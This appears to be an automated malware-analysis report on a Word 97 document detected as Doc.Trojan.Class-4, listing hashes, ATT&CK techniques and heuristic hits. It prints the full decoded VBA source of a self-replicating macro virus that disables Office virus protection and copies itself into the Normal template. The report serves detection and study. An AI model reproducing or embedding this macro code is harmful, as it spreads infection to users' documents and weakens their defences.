Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0425e5f1fd993b83…

MALICIOUS

Office (OLE)

33.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a9f80ed1915220d577cbf695bc55287e SHA-1: 2f6058fb25df815c73094eede1ccd97d55bd4d57 SHA-256: 0425e5f1fd993b8366a81f213bb9c95a7a53ba1fc9a3ed5d9f3d326487fe22b8
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Word document containing VBA macros, specifically triggering AutoOpen and Auto_Close heuristics. The script attempts to overwrite the Normal.dot template by exporting the current document's VBA components to 'c:\windows\class.sys' and then importing it back into the Normal.dot template. This technique is often used to establish persistence or facilitate the execution of further malicious code.

Heuristics 6

  • ClamAV: Doc.Trojan.Class-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-4
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
            Host.codemodule.replaceline 3, "Sub AutoClose()"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1364 bytes
SHA-256: 09963e3fa4597ddbc526c5e24d51adc7b1ddbc47cbb3becc1824607b58e92035
Detection
ClamAV: Doc.Trojan.Class-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'$$0000005
Const SluzhFile = "c:\windows\class.sys"
Sub AutoOpen()
    On Error GoTo out
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    Options.ConfirmConversions = False
    ad = Val(Right(Trim(ActiveDocument.VBProject.VBComponents.Item(1).codemodule.Lines(1, 1)), 7))
    nt = Val(Right(Trim(NormalTemplate.VBProject.VBComponents.Item(1).codemodule.Lines(1, 1)), 7))
    If nt = 0 Or nt < ad Then
        Set Host = NormalTemplate.VBProject.VBComponents.Item(1)
        ActiveDocument.VBProject.VBComponents.Item(1).export SluzhFile
    Else
        If ad = 0 Or ad < nt Then Set Host = ActiveDocument.VBProject.VBComponents.Item(1) Else GoTo out
    End If
    While Host.codemodule.CountOfLines > 0
       Host.codemodule.deletelines 1
    Wend
    Host.codemodule.AddFromFile (SluzhFile)
    For x = 1 To 4
        Host.codemodule.deletelines 1
    Next x
    If nt = 0 Or nt < ad Then
        Host.codemodule.replaceline 3, "Sub AutoClose()"
        Host.codemodule.replaceline 29, "Sub ToolsMacro()"
    End If
out:
End Sub
Sub ViewVBCode()
End Sub

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